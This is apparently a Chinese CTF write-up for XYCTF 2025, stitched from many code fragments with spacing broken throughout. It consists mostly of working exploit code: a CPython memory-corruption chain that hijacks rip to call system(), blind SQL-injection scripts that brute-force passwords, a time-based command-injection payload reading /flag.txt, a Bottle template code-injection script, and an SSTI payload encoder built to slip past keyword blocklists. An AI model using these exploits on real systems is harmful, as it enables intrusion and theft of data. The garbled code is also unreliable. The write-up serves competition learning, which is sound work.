# 获取真因数(排除自身) defget_true_factors(n): if n == 1: returnset() factors = set() for i inrange(1, int(n**0.5) + 1): if n % i == 0: if i != n: factors.add(i) counterpart = n // i if counterpart != n and counterpart != i: factors.add(counterpart) return factors
defchoose_number(available): max_net = -float('inf') best_num = None for num insorted(available, reverse=True): # 优先处理大数 factors = get_true_factors(num) available_factors = [f for f in factors if f in available] ifnot available_factors: # 没有可用因数则不能选 continue sum_opp = sum(available_factors) net = num - sum_opp if net > max_net or (net == max_net and num > best_num): max_net = net best_num = num return best_num
defparse_game_data(data): # 提取可用数字 unassigned_match = re.search(r'Unassigned Numbers: \[(.*?)\]', data) available = list(map(int, unassigned_match.group(1).split(', '))) if unassigned_match else []
print('For there are three that bear record in heaven, the Father, the Word, and the Holy Ghost') print('But here we have four cases bearing witness')
defi_pow(n): if n % 4 == 0: # as the 40 days of flood return'1' elif n % 4 == 1: # as the 1 true God return'i' elif n % 4 == 2: # as the 2 tablets of stone return'-1' elif n % 4 == 3: # as the 3 days in the tomb return'-i'
inp = input("wash away your sins: ") assertall(i in"i0123456789+-*%/^=~&|:()[]'"for i in inp), "invalid char" assertlen(inp) < 16, "too long" R = eval(f"lambda i: {inp}", {}, {}) assertall(R(i) == i_pow(i) for i inrange(691468)) print('success')
defset_rip(self, addr, obj_refcount=0x10): """Set rip by using a fake object and associated type object.""" # Fake type object type_obj = flat( p64(0xac1dc0de), # refcount b'X'*0x68, # padding p64(addr)*100, # vtable funcs ) self.no_gc.append(type_obj)
# Fake PyObject data = flat( p64(obj_refcount), # refcount p64(id(type_obj)), # pointer to fake type object ) self.no_gc.append(data)
# The bytes data starts at offset 32 in the object self.freed_buffer[0] = id(data) + 32
try: # Now we trigger it. This calls tp_getattro on our fake type object self.fake_objs[0].trigger except: # Avoid messy error output when we exit our shell pass
deffind_bin_base(self): # Leak tp_dealloc pointer of PyLong_Type which points into the Python # binary. leak = self.leak(id(int), 32) cpython_binary_ptr = u64(leak[24:32]) addr = (cpython_binary_ptr >> 12) << 12# page align the address # Work backwards in pages until we find the start of the binary for i inrange(10000): nxt = self.leak(addr, 4) if nxt == b'\x7fELF': return addr addr -= PAGE_SIZE returnNone
deffind_system(self): """ Return either the address of the system PLT stub, or the address of system itself if the binary is full RELRO. """ bin_base = self.find_bin_base() data = self.leak(bin_base, 0x1000)
# Walk the relocation table, for each entry we read the relevant symtab # entry and then strtab entry to get the function name. rela_data = e.leak(rela, 0x1000) i = 0 whileTrue: off = i * 24 r_info = u64(rela_data[off + 8:off + 16]) symtab_idx = r_info >> 32# ELF64_R_SYM symtab_entry = e.leak(symtab + symtab_idx * 24, SIZEOF_ELF64_SYM) strtab_off = u32(symtab_entry[0:4]) name = e.leak(strtab + strtab_off, 6) if name == b'system': print('[*] Found system at rela index {}'.format(i)) system_idx = i break i += 1
# Leak start of GOT data to determine if we're full RELRO got_data = self.leak(got, 32) link_map = u64(got_data[8:16]) dl_runtime_resolve = u64(got_data[16:24])
if link_map == 0and dl_runtime_resolve == 0: # The binary is likely full RELRO, which means system will already # be resolved in the GOT. print('[*] Full RELRO binary, reading system address from GOT') system_got = 24 + got + system_idx*8 func = u64(self.leak(system_got, 8)) print('[*] system: {}'.format(hex(func))) return func
# Find the PLT. We know it is always placed after the init function, so # scan forwards looking for the first opcode of PLT. init_data = self.leak(init, 64) plt_offset = None for i inrange(0, len(init_data), 2): if init_data[i:i+2] == b'\xff\x35': # push [rip+offset] plt_offset = i break
if plt_offset isNone: print('[!!] Start of PLT not found') returnNone
plt = init + plt_offset + 16# skip first PLT entry which is resolver
# PLT stubs are in the same order as rela entries, so we can use the # known system index to calculate the address of the system PLT stub. system_plt = plt + system_idx*SIZEOF_PLT_STUB print('[*] system plt: {}'.format(hex(system_plt))) return system_plt
def__init__(self): # Trigger bug global view f = io.BufferedReader(File()) f.read(1) del f view = view.cast('P')
e = Exploit() system = e.find_system() # When we get rip control rdi contains a pointer to our fake object, who's first # 8 bytes are its refcount. We can repurpose the refcount as our command to # system. Note the refcount is incremented by 1 before the call, which is why we # decrement the first character. e.set_rip(system, obj_refcount=u64(b'\x2ebin/rf\x00'))
for i inrange(1,7): break for n in chars: burp0_data["username"] = payload_db.format(i,n) # print(burp0_data["username"]) response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) # print(response.text) if'帐号或密码错误'notin response.text: db += n print('[+] 第', i, '个字符枚举成功:',db) break print()
tab = '' for i inrange(1,20): break for n in chars: burp0_data["username"] = payload_tab.format('testdb',i,n) response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) if'帐号或密码错误'notin response.text: tab += n print('[+] 第', i, '个字符枚举成功:',tab) break print()
com = '' for i inrange(1,7): break for n in chars: burp0_data["username"] = payload_com.format('user',i,n) response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) if'帐号或密码错误'notin response.text: com += n print('[+] 第', i, '个字符枚举成功:',com) break print()
str = '' for i inrange(1,20): break for n in chars: burp0_data["username"] = payload_str.format('password',i,n) response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) if'帐号或密码错误'notin response.text: str += n print('[+] 第', i, '个字符枚举成功:',str) break print()
flag = '[INFO]: ' for x inrange(1,6): flag += '' for i inrange(1,50): for j in chars: payload = "if [ `cat /flag.txt | awk 'NR=={}' | cut -c{}` = {} ];then sleep 2;fi".format(x,i,j)
from bottle import Bottle, request, response, redirect, static_file, run, route withopen('../../secret.txt', 'r') as f: secret = f.read()
app = Bottle() @route('/') defindex(): return'''HI''' @route('/download') defdownload(): name = request.query.filename if'../../'in name or name.startswith('/') or name.startswith('../') or'\\'in name: response.status = 403 return'Forbidden' withopen(name, 'rb') as f: data = f.read() return data
@route('/secret') defsecret_page(): try: session = request.get_cookie("name", secret=secret) ifnot session or session["name"] == "guest": session = {"name": "guest"} response.set_cookie("name", session, secret=secret) return'Forbidden!' if session["name"] == "admin": return'The secret has been deleted!' except: return"Error!" run(host='0.0.0.0', port=8080, debug=False)
/download路由对参数过滤不严格,可以绕过过滤读到secret.txt,如下,得到Hell0_H@cker_Y0u_A3r_Sm@r7,然后这题构造cookie也没有用,只会返回一个The secret has been deleted!的提示
target_url = "http://lamentxu.top" + url for i in blacklist: if i in url: return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~') if"."in url: return flask.abort(403, 'No ssrf allowed') response = requests.get(target_url)
return flask.Response(response.content, response.status_code) defdb_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))") found = cur.fetchone() returnNoneif found isNoneelse found[0]
{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}
拼接后的sql语句为
1
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNIONSELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU'--":1}')))))))
即可成功注入。
接下来将传入的数据编码,脚本如下:
1 2 3 4 5
defstring_to_binary(input_string): binary_list = [format(ord(char), '08b') for char in input_string] binary_string = ''.join(binary_list) return binary_string print(string_to_binary("""{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}"""))
p = [payload[i:i+4] for i inrange(0,len(payload),4)] flag = True
for i in p: if flag: tmp = f'\n%import os;os.a="{i}"' flag = False else: tmp = f'\n%import os;os.a+="{i}"' try: r = requests.get(url,params={"payload":tmp}) print('[-] 拼接成功') except: exit()
r = requests.get(url,params={"payload":"\n%import os;eval(os.a)"}) r = requests.get(url,params={"payload":"\n%include('flagg')"}).text print('[+]',r)
# YOU FOUND ME ;) # -*- encoding: utf-8 -*- ''' @File : src.py @Time : 2025/03/29 01:10:37 @Author : LamentXU ''' import flask import sys enable_hook = False counter = 0 defaudit_checker(event,args): global counter if enable_hook: if event in ["exec", "compile"]: counter += 1 if counter > 4: raise RuntimeError(event)
lock_within = [ "debug", "form", "args", "values", "headers", "json", "stream", "environ", "files", "method", "cookies", "application", 'data', 'url' ,'\'', '"', "getattr", "_", "{{", "}}", "[", "]", "\\", "/","self", "lipsum", "cycler", "joiner", "namespace", "init", "dir", "join", "decode", "batch", "first", "last" , " ","dict","list","g.", "os", "subprocess", "g|a", "GLOBALS", "lower", "upper", "BUILTINS", "select", "WHOAMI", "path", "os", "popen", "cat", "nl", "app", "setattr", "translate", "sort", "base64", "encode", "\\u", "pop", "referer", "The closer you see, the lesser you find."] # I hate all these. app = flask.Flask(__name__) @app.route('/') defindex(): return'try /H3dden_route' @app.route('/H3dden_route') defr3al_ins1de_th0ught(): global enable_hook, counter name = flask.request.args.get('My_ins1de_w0r1d') if name: try: if name.startswith("Follow-your-heart-"): for i in lock_within: if i in name: return'NOPE.' enable_hook = True a = flask.render_template_string('{#'+f'{name}'+'#}') enable_hook = False counter = 0 return a else: return'My inside world is always hidden.' except RuntimeError as e: counter = 0 return'NO.' except Exception as e: return'Error' else: return'Welcome to Hidden_route!'
if __name__ == '__main__': import os try: import _posixsubprocess del _posixsubprocess.fork_exec except: pass import subprocess del os.popen del os.system del subprocess.Popen del subprocess.call del subprocess.run del subprocess.check_output del subprocess.getoutput del subprocess.check_call del subprocess.getstatusoutput del subprocess.PIPE del subprocess.STDOUT del subprocess.CalledProcessError del subprocess.TimeoutExpired del subprocess.SubprocessError sys.addaudithook(audit_checker) app.run(debug=False, host='0.0.0.0', port=5000)
import os try: import _posixsubprocess del _posixsubprocess.fork_exec except: pass import subprocess del os.popen del os.system del subprocess.Popen del subprocess.call del subprocess.run del subprocess.check_output del subprocess.getoutput del subprocess.check_call del subprocess.getstatusoutput del subprocess.PIPE del subprocess.STDOUT del subprocess.CalledProcessError del subprocess.TimeoutExpired del subprocess.SubprocessError
arg_count = 0 for i in required_encoding: if i notin encoded_payloads: p = [] for j in i: if j == '_': p.append('k.2') elif j == ' ': p.append('k.3') elif j == '.': p.append('k.4') elif j == '-': p.append('k.5') elif j == '>': p.append('k.6') elif j == '&': p.append('k.7') elif j.isnumeric(): a = str(ord(j)-ord('0')+offset_0) p.append(f'k.{a}') elif j == '/': p.append('k.70') else: a = str(ord(j)-ord('a')+offset_a) p.append(f'k.{a}') arg_name = f'a{arg_count}' encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}' encoded_payloads[i] = (arg_name, encoded_arg) arg_count+=1 payload.append(encoded_arg)
fully_encoded_payload = payloadstr for i in encoded_payloads.keys(): if i in fully_encoded_payload: fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])
# YOU FOUND ME ;) # -*- encoding: utf-8 -*- ''' @File : src.py @Time : 2025/03/29 01:20:49 @Author : LamentXU ''' # DNS config: No reversing shells for you. import flask import time, random import flask import sys enable_hook = False counter = 0 defaudit_checker(event,args): global counter if enable_hook: if event in ["exec", "compile"]: counter += 1 if counter > 4: raise RuntimeError(event) lock_within = [ "debug", "form", "args", "values", "headers", "json", "stream", "environ", "files", "method", "cookies", "application", 'data', 'url' ,'\'', '"', "getattr", "_", "{{", "}}", "[", "]", "\\", "/","self", "lipsum", "cycler", "joiner", "namespace", "init", "dir", "join", "decode", "batch", "first", "last" , " ","dict","list","g.", "os", "subprocess", "GLOBALS", "lower", "upper", "BUILTINS", "select", "WHOAMI", "path", "os", "popen", "cat", "nl", "app", "setattr", "translate", "sort", "base64", "encode", "\\u", "pop", "referrer", "authorization","user", "pragma", "mimetype", "origin" "Isn't that enough? Isn't that enough."] # lock_within = [] allowed_endpoint = ["static", "index", "r3al_ins1de_th0ught"] app = flask.Flask(__name__) @app.route('/') defindex(): return'try /H3dden_route' @app.route('/H3dden_route') defr3al_ins1de_th0ught(): quote = flask.request.args.get('spell') if quote: try: if quote.startswith("fly-"): for i in lock_within: if i in quote: print(i) return"wouldn't it be easier to give in?" time.sleep(random.randint(10, 30)/10) # No time based injections. flask.render_template_string('Let-the-magic-{#'+f'{quote}'+'#}') print("Registered endpoints and functions:") for endpoint, func in app.view_functions.items(): if endpoint notin allowed_endpoint: del func # No creating backdoor functions & endpoints. returnf'What are you doing with {endpoint} hacker?'
return'Let the true magic begin!' else: return'My inside world is always hidden.' except Exception as e: return'Error' else: return'Welcome to Hidden_route!'
if __name__ == '__main__': import os try: import _posixsubprocess del _posixsubprocess.fork_exec except: pass import subprocess del os.popen del os.system del subprocess.Popen del subprocess.call del subprocess.run del subprocess.check_output del subprocess.getoutput del subprocess.check_call del subprocess.getstatusoutput del subprocess.PIPE del subprocess.STDOUT del subprocess.CalledProcessError del subprocess.TimeoutExpired del subprocess.SubprocessError sys.addaudithook(audit_checker) app.run(debug=False, host='0.0.0.0', port=5000)
这题和上题差不多,区别是无回显,其实无回显也有很多攻击方法,但是注意下面部分:
1 2 3 4 5 6
time.sleep(random.randint(10, 30)/10) # No time based injections.
for endpoint, func in app.view_functions.items(): if endpoint notin allowed_endpoint: del func # No creating backdoor functions & endpoints. returnf'What are you doing with {endpoint} hacker?'
MsgBox "Dear CTFER. Have fun in XYCTF 2025!" flag = InputBox("Enter the FLAG:", "XYCTF") wefbuwiue = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4"' ?????C4?????????????????? qwfe = "rc4key"
' ??????RC4?????? Function RunRC(sMessage, strKey) Dim kLen, i, j, temp, pos, outHex Dim s(255), k(255)
' ???????? kLen = Len(strKey) For i = 0To255 s(i) = i k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1)) ' ??????ASCII??? Next
' KSA?????? j = 0 For i = 0To255 j = (j + s(i) + k(i)) Mod256 temp = s(i) s(i) = s(j) s(j) = temp Next
' PRGA?????? i = 0 : j = 0 : outHex = "" For pos = 1To Len(sMessage) i = (i + 1) Mod256 j = (j + s(i)) Mod256 temp = s(i) s(i) = s(j) s(j) = temp